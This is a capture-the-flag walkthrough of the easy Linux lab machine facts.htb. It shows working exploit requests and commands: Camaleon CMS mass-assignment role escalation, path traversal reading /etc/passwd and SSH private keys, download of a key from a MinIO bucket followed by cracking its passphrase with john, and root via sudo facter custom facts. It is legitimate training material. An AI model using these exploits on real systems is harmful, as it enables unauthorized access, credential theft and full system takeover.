by 0xW1LD

As usual we start off with an nmap port scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNYjzL0v+zbXt5Zvuhd63ZMVGK/8TRBsYpIitcmtFPexgvOxbFiv6VCm9ZzRBGKf0uoNaj69WYzveCNEWxdQUww=
| 256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPCNb2NXAGnDBofpLTCGLMyF/N6Xe5LIri/onyTBifIK
80/tcp open http syn-ack ttl 63 nginx 1.26.3 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 8C83ADFFE48BE12C38E7DBCC2D0524BC
|_http-server-header: nginx/1.26.3 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: facts
54321/tcp open http syn-ack ttl 62 Golang net/http server
|_http-server-header: MinIO
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 400 Bad Request
| Accept-Ranges: bytes
| Content-Length: 303
| Content-Type: application/xml
| Server: MinIO
| Strict-Transport-Security: max-age=31536000; includeSubDomains
| Vary: Origin
| X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
| X-Amz-Request-Id: 188FF4C009E3510D
| X-Content-Type-Options: nosniff
| X-Xss-Protection: 1; mode=block
| Date: Sat, 31 Jan 2026 23:31:24 GMT
| <?xml version="1.0" encoding="UTF-8"?>
| <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/nice ports,/Trinity.txt.bak</Resource><RequestId>188FF4C009E3510D</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
| GenericLines, Help, RTSPRequest, SSLSessionReq:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 400 Bad Request
| Accept-Ranges: bytes
| Content-Length: 276
| Content-Type: application/xml
| Server: MinIO
| Strict-Transport-Security: max-age=31536000; includeSubDomains
| Vary: Origin
| X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
| X-Amz-Request-Id: 188FF4BAA5AF30AD
| X-Content-Type-Options: nosniff
| X-Xss-Protection: 1; mode=block
| Date: Sat, 31 Jan 2026 23:31:01 GMT
| <?xml version="1.0" encoding="UTF-8"?>
| <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/</Resource><RequestId>188FF4BAA5AF30AD</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
| HTTPOptions:
| HTTP/1.0 200 OK
| Vary: Origin
| Date: Sat, 31 Jan 2026 23:31:01 GMT
|_ Content-Length: 0
|_http-title: Did not follow redirect to http://facts.htb:9001
| http-methods:
|_ Supported Methods: GET OPTIONS
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port54321-TCP:V=7.98%I=7%D=1/31%Time=697E90E4%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(GetRequest,2B0,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nAc
SF:cept-Ranges:\x20bytes\r\nContent-Length:\x20276\r\nContent-Type:\x20app
SF:lication/xml\r\nServer:\x20MinIO\r\nStrict-Transport-Security:\x20max-a
SF:ge=31536000;\x20includeSubDomains\r\nVary:\x20Origin\r\nX-Amz-Id-2:\x20
SF:dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8\r\nX-A
SF:mz-Request-Id:\x20188FF4BAA5AF30AD\r\nX-Content-Type-Options:\x20nosnif
SF:f\r\nX-Xss-Protection:\x201;\x20mode=block\r\nDate:\x20Sat,\x2031\x20Ja
SF:n\x202026\x2023:31:01\x20GMT\r\n\r\n<\?xml\x20version=\"1\.0\"\x20encod
SF:ing=\"UTF-8\"\?>\n<Error><Code>InvalidRequest</Code><Message>Invalid\x2
SF:0Request\x20\(invalid\x20argument\)</Message><Resource>/</Resource><Req
SF:uestId>188FF4BAA5AF30AD</RequestId><HostId>dd9025bab4ad464b049177c95eb6
SF:ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>")%r(HTTPOptions,5
SF:9,"HTTP/1\.0\x20200\x20OK\r\nVary:\x20Origin\r\nDate:\x20Sat,\x2031\x20
SF:Jan\x202026\x2023:31:01\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSP
SF:Request,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text
SF:/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20R
SF:equest")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:
SF:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20
SF:Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request
SF:\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20clo
SF:se\r\n\r\n400\x20Bad\x20Request")%r(FourOhFourRequest,2CB,"HTTP/1\.0\x2
SF:0400\x20Bad\x20Request\r\nAccept-Ranges:\x20bytes\r\nContent-Length:\x2
SF:0303\r\nContent-Type:\x20application/xml\r\nServer:\x20MinIO\r\nStrict-
SF:Transport-Security:\x20max-age=31536000;\x20includeSubDomains\r\nVary:\
SF:x20Origin\r\nX-Amz-Id-2:\x20dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af
SF:9251148b658df7ac2e3e8\r\nX-Amz-Request-Id:\x20188FF4C009E3510D\r\nX-Con
SF:tent-Type-Options:\x20nosniff\r\nX-Xss-Protection:\x201;\x20mode=block\
SF:r\nDate:\x20Sat,\x2031\x20Jan\x202026\x2023:31:24\x20GMT\r\n\r\n<\?xml\
SF:x20version=\"1\.0\"\x20encoding=\"UTF-8\"\?>\n<Error><Code>InvalidReque
SF:st</Code><Message>Invalid\x20Request\x20\(invalid\x20argument\)</Messag
SF:e><Resource>/nice\x20ports,/Trinity\.txt\.bak</Resource><RequestId>188F
SF:F4C009E3510D</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3f
SF:d1af9251148b658df7ac2e3e8</HostId></Error>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Upon visiting the webpage on port 80 we find a website being hosted that shares facts.

We can search for any trivia and our search query appears in the html

Our search results are being filtered.
1
<h1>(0) Search Results for: "><b>w1ld</b></h1>
Fuzzing for subdomains we end up empty. However when fuzzing for directories we can find admin and similar that redirect us.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$ ffuf -u "http://facts.htb/FUZZ" -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -mc all -fw 1328 -fc 404
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://facts.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Response words: 1328
:: Filter : Response status: 404
________________________________________________
400 [Status: 200, Size: 6685, Words: 993, Lines: 115, Duration: 2083ms]
404 [Status: 200, Size: 4836, Words: 832, Lines: 115, Duration: 2098ms]
500 [Status: 200, Size: 7918, Words: 1035, Lines: 115, Duration: 2045ms]
_framework/blazor.webassembly.js [Status: 422, Size: 8380, Words: 1063, Lines: 115, Duration: 2740ms]
admin [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 2326ms]
admin.cgi [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 2269ms]
admin.pl [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 2202ms]
admin.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 2272ms]
ajax [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 2540ms]
Attempting to visit /admin we’re redirected to /admin/login

What’s strange however is that there is a create an account button that redirects us to /admin/register

Attempting to visit 54321 redirects us to facts.htb:9001 which is not open to us so we do not have access to it. However when attempting to curl we seem to be able to send requests.
1
2
3
4
5
6
7
8
$ curl -L http://facts.htb:54321 -I
HTTP/1.1 400 Bad Request
Accept-Ranges: bytes
Content-Length: 213
Content-Type: application/xml
Server: MinIO
Vary: Origin
Date: Sat, 31 Jan 2026 23:47:54 GMT
Looking around it seems the images are stored in the randomfacts bucket.

Registering a user on the /admin panel we’re able to login onto the dashboard.

We can immediately find the CMS being used and its version at the bottom of the site: Camaleon CMS 2.9.0 Looking around online we can find that this is slightly outdated as the most recent release is 2.9.1. Taking a look around we can find a Security Advisory that is a mass assignment vulnerability that allows us to update our role. we can exploit this by adding a role parameter to the password object that’s being processed as per Tenable’s Analysis.
Request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /admin/users/5/updated_ajax HTTP/1.1
Host: facts.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://facts.htb/admin/profile/edit
X-CSRF-Token: ky2j8ytG5QZzV660xvLItKVQeu-ITXTy1ymvXqK1WIs0my5NG0S0OXT27S0nUpSdtKod_1ykNovPzzQKqa0e8g
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 188
Origin: http://facts.htb
Connection: keep-alive
Cookie: _factsapp_session=O2xb4HuwWr6TzQ%2FLjVn4I%2B%2F26Re1PYpfzU7gxNkL%2B87spjAEqch9Sim5CCZUR%2BTDEiCwOmTKc8DSJHE1Ftpke1lby4zZ%2BAG7lAr4DOJ7LajrWlgcac9HfGUKVFm0JVcoQ8ObiJ3LNIddarUWA4%2FXgb%2FopVBX8GToPTIGySM2%2BLBuvLGk5TyB%2FxoukZkcHt%2BlZLnT3DzsrQkDyBsS3gT4BF%2F%2Fk8kdvLKP0c0hwSFzsvOt0MfBEV0NXtpRqY5QRHckay0vq%2FfK4UH4%2FL%2BeFCncJUzrhluH%2B3bYRg%2FloNu9xdI18ZAZbMXwENfITMND57pyYwijW28ZMoKm5hk5PuzBxkLkyycsY8zHTSUrVM26U3obVzqYcpGo3j2EjHLzfDyjvbdrgEA%2FNPU62ClMsnMqfNR1OYju3Uvd0w%3D%3D--I7CIQira6vYV09Ea--abwsdTx2CC05PxBMSgeXdg%3D%3D; auth_token=XfEy3q7qkGSBVH3vcOeEfQ%26Mozilla%2F5.0+%28X11%3B+Linux+x86_64%3B+rv%3A140.0%29+Gecko%2F20100101+Firefox%2F140.0%2610.10.14.117
Priority: u=0
_method=patch&authenticity_token=ky2j8ytG5QZzV660xvLItKVQeu-ITXTy1ymvXqK1WIs0my5NG0S0OXT27S0nUpSdtKod_1ykNovPzzQKqa0e8g&password%5Bpassword%5D=w1ld&password%5Bpassword_confirmation%5D=w1ld&password%5Brole%5D=admin
Refreshing our page after the assignment we get a lot more access!

Taking a look around we can find credentials for the s3 bucket

Let’s install a minio client and connect to the bucket!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ ~/aistor-binaries/mc alias set local http://facts.htb:54321 $ACCESSKEY $SECRETKEY
Added `local` successfully.
$ ~/aistor-binaries/mc admin info local
╭───────────────────────────╮
│ MinIO Cluster: ● Online │
╰───────────────────────────╯
Capacity
╭───────────────────────────────────────────────────────────────────────────────╮
│ Used: 5.2 GiB / 7.2 GiB [█████████████████████████████░░░░░░░░░░░] 72.6% │
│ Free: 2.0 GiB │
╰───────────────────────────────────────────────────────────────────────────────╯
Servers
╭─────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ ● facts.htb:54321 │ Uptime: 3 hours │ Drives: 1/1 │ Pool: 1 │ Version: 2025-09-07T16:13:09Z │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Pools
╭─────────────────────────────────────────────────────╮
│ Pool │ Usage │ Stripe Size │ Sets │
│ 1st │ 72.6% (7.2 GiB) │ 1 │ 1 │
╰─────────────────────────────────────────────────────╯
Data Summary
╭─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ Used: 36 MiB │ Buckets: 2 │ Objects: 2,077 │ Delete Markers: 0 │ Drives: 1 online / 0 offline │ Erasure Code: 0 │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Taking a look around we’re able to list the buckets on the server.
1
2
3
$ ~/aistor-binaries/mc ls local
[2025-09-11 12:06:52 UTC] 0B internal/
[2025-09-11 12:06:52 UTC] 0B randomfacts/
Checking the internal bucket we can find a .ssh folder.
1
2
3
4
5
6
7
8
$ ~/aistor-binaries/mc ls local/internal
[2026-01-08 18:45:13 UTC] 220B STANDARD .bash_logout
[2026-01-08 18:45:13 UTC] 3.8KiB STANDARD .bashrc
[2026-01-08 18:47:17 UTC] 20B STANDARD .lesshst
[2026-01-08 18:47:17 UTC] 807B STANDARD .profile
[2026-02-01 03:10:49 UTC] 0B .bundle/
[2026-02-01 03:10:49 UTC] 0B .cache/
[2026-02-01 03:10:49 UTC] 0B .ssh/
Looking inside we can find the id_ed25519 key.
1
2
3
4
5
$ ~/aistor-binaries/mc ls local/internal/.ssh
[2026-01-31 23:42:07 UTC] 82B STANDARD authorized_keys
[2026-01-31 23:42:07 UTC] 464B STANDARD id_ed25519
$ ~/aistor-binaries/mc get 'local/internal/.ssh/id_ed25519' .
...://facts.htb:54321/internal/.ssh/id_ed25519: ██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████ 100.0% 464 B 475 B/s
I’ll convert the hash using ssh2john and crack it.
1
2
3
4
5
6
7
8
9
10
11
12
13
$ ssh2john id_ed25519 > id_ed25519.pem
$ john id_ed25519.pem --wordlist=/usr/share/wordlists/rockyou.txt --format=SSH
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
[REDACTED] (trivia.ed25519)
1g 0:00:00:35 DONE (2026-02-01 00:33) 0.02834g/s 90.70p/s 90.70c/s 90.70C/s adriano..imissu
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
We’ve found the passphrase of the private key but we need a username, let’s decrypt the private key using ssh-keygen and decode the base64 key.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ ssh-keygen -p -f id_ed25519
Enter old passphrase:
Key has comment 'trivia@facts.htb'
Enter new passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved with the new passphrase.
$ cat id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
[REDACTED]
-----END OPENSSH PRIVATE KEY-----
$ echo 'b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
[REDACTED]' | base64 -d
openssh-key-v1nonenone3
ssh-ed25519 v;��o��
�Z!��y��h��Z��Z��
ssh-ed25519 v;��o��
�Z!��y��h�@����m�T�}o4��K�+�t��;�@�Rv;��o��
�Z!��y��h�trivia@facts.htb
We’ve found the username trivia@facts.htb attempting to ssh with the private key we can get onto the machine!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ ssh trivia@facts.htb -i id_ed25519
Last login: Wed Jan 28 16:17:19 UTC 2026 from 10.10.14.4 on ssh
Welcome to Ubuntu 25.04 (GNU/Linux 6.14.0-37-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun Feb 1 08:59:44 AM UTC 2026
System load: 0.01
Usage of /: 71.7% of 7.28GB
Memory usage: 17%
Swap usage: 0%
Processes: 219
Users logged in: 1
IPv4 address for eth0: 10.129.17.206
IPv6 address for eth0: dead:beef::250:56ff:feb0:36cb
0 updates can be applied immediately.
trivia@facts:~$
Just like that, we have a foothold!
We’re able to read the contents of william’s home directory.
1
2
3
4
5
6
7
8
9
trivia@facts:/home/william$ ls -lash
total 24K
4.0K drwxr-xr-x 2 william william 4.0K Jan 26 11:40 .
4.0K drwxr-xr-x 4 root root 4.0K Jan 8 17:53 ..
0 lrwxrwxrwx 1 root root 9 Jan 26 11:40 .bash_history -> /dev/null
4.0K -rw-r--r-- 1 william william 220 Aug 20 2024 .bash_logout
4.0K -rw-r--r-- 1 william william 3.7K Aug 20 2024 .bashrc
4.0K -rw-r--r-- 1 william william 807 Aug 20 2024 .profile
4.0K -rw-r--r-- 1 root william 33 Jan 31 22:50 user.txt
Just like that, we have User!
Taking a look around we can run facter as any user without a password.
1
2
3
4
5
6
trivia@facts:/tmp$ sudo -l
Matching Defaults entries for trivia on facts:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
Facter is a facts gathering tool made by puppetlabs taking a look around we can see that we can add custom facts which execute Ruby code. We can load the custom facts using the --custom-dir command line option. Let’s write a simple Ruby script that nets us a shell as root and execute facter.
1
2
3
4
trivia@facts:/tmp$ echo 'exec "/bin/bash"' >w1ld.rb
trivia@facts:/tmp$ sudo facter --custom-dir /tmp 0xw1ld
root@facts:/tmp# ls -lash /root/root.txt
4.0K -rw-r----- 1 root root 33 Jan 31 22:50 /root/root.txt
Just like that, we have Root!
Taking a look around we can find that there’s several security posts on the github of Camaleon CMS. Attempting to test each of these we can find most of the PoCs we’re unable to utilize due to a lack of certain Headers or ability to restart the CMS. One that isn’t too difficult to exploit however is the Arbitrary Path Traversal.
I’ll be sending the following request to attempt to exploit the Arbitrary Path Traversal
1
2
3
4
5
6
7
8
9
10
11
GET /admin/media/download_private_file?file=../../../etc/passwd HTTP/1.1
Host: facts.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: _factsapp_session=ZuaPsMePh4vgrq6xEUsjyQsN%2FpXMyBr978a1JshHyKixsPjV2q7NwfHJsnf8clrN54qED%2B%2F8WxAmS%2BXlDPXajX1F2LwFOeu399bt5FdIqjVMmLjiOs9arT%2FONihJTyovnhIGAMIKjKWFc5CFP0mxAsRFQttOFjNbOh3vKyw6LoCBJ1I97FfjVTPKSRNCu4ZUBPzT%2FPURGs62PWMBFZjDN%2BOeX7e1gpG5dDzfeRLPgOFuGwNBnWGn7FIGwcn7qxBrbEOai%2Fwkd1HQrUuRVjlLNnzKqn2Iv7f4hEYXHiBda79fMci8Oyj%2F6ATNrlvqEt1sc4F%2BLB1bX5Asg8GKWrkUPwXAURQQAePfmjb31gxw0I42890Byd7PdUY%3D--ZbWIynVOxJErp9jW--MGz8v1BuXOan4pwgmo5e2w%3D%3D; auth_token=z1bd7JZIoWtyrX2TkJp_0g&Mozilla%2F5.0+%28X11%3B+Linux+x86_64%3B+rv%3A140.0%29+Gecko%2F20100101+Firefox%2F140.0&10.10.14.117
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Response
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
HTTP/1.1 200 OK
Server: nginx/1.26.3 (Ubuntu)
Date: Sun, 01 Feb 2026 00:20:04 GMT
Content-Type: application/octet-stream
Content-Length: 1809
Connection: close
x-frame-options: SAMEORIGIN
x-xss-protection: 0
x-content-type-options: nosniff
x-permitted-cross-domain-policies: none
referrer-policy: strict-origin-when-cross-origin
content-disposition: inline; filename="passwd"; filename*=UTF-8''passwd
content-transfer-encoding: binary
cache-control: no-cache
x-request-id: dc7a14d4-3156-42fc-bd5f-b22ed00290ff
x-runtime: 0.037968
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
usbmux:x:100:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:102:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:103:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:104:104::/nonexistent:/usr/sbin/nologin
uuidd:x:105:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:106:107::/nonexistent:/usr/sbin/nologin
tss:x:107:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:108:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
_laurel:x:101:988::/var/log/laurel:/bin/false
Successfully grabbing a file traversal vulnerability, attempting to look around we find that we can grab trivia’s ssh key.
1
2
3
4
5
6
7
8
9
10
11
12
GET /admin/media/download_private_file?file=../../../home/trivia/.ssh/id_ed25519 HTTP/1.1
Host: facts.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: _factsapp_session=ZuaPsMePh4vgrq6xEUsjyQsN%2FpXMyBr978a1JshHyKixsPjV2q7NwfHJsnf8clrN54qED%2B%2F8WxAmS%2BXlDPXajX1F2LwFOeu399bt5FdIqjVMmLjiOs9arT%2FONihJTyovnhIGAMIKjKWFc5CFP0mxAsRFQttOFjNbOh3vKyw6LoCBJ1I97FfjVTPKSRNCu4ZUBPzT%2FPURGs62PWMBFZjDN%2BOeX7e1gpG5dDzfeRLPgOFuGwNBnWGn7FIGwcn7qxBrbEOai%2Fwkd1HQrUuRVjlLNnzKqn2Iv7f4hEYXHiBda79fMci8Oyj%2F6ATNrlvqEt1sc4F%2BLB1bX5Asg8GKWrkUPwXAURQQAePfmjb31gxw0I42890Byd7PdUY%3D--ZbWIynVOxJErp9jW--MGz8v1BuXOan4pwgmo5e2w%3D%3D; auth_token=z1bd7JZIoWtyrX2TkJp_0g&Mozilla%2F5.0+%28X11%3B+Linux+x86_64%3B+rv%3A140.0%29+Gecko%2F20100101+Firefox%2F140.0&10.10.14.117
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Response
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
HTTP/1.1 200 OK
Server: nginx/1.26.3 (Ubuntu)
Date: Sun, 01 Feb 2026 00:25:00 GMT
Content-Type: application/octet-stream
Content-Length: 464
Connection: close
x-frame-options: SAMEORIGIN
x-xss-protection: 0
x-content-type-options: nosniff
x-permitted-cross-domain-policies: none
referrer-policy: strict-origin-when-cross-origin
content-disposition: inline; filename="id_ed25519"; filename*=UTF-8''id_ed25519
content-transfer-encoding: binary
cache-control: no-cache
x-request-id: 7c4dd731-f6f0-457b-83a6-a65dbeab6235
x-runtime: 0.040120
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABCtiyXgdq
[REDACTED]
-----END OPENSSH PRIVATE KEY-----
We can then follow the same steps we did earlier.
tags: os/linux - diff/easy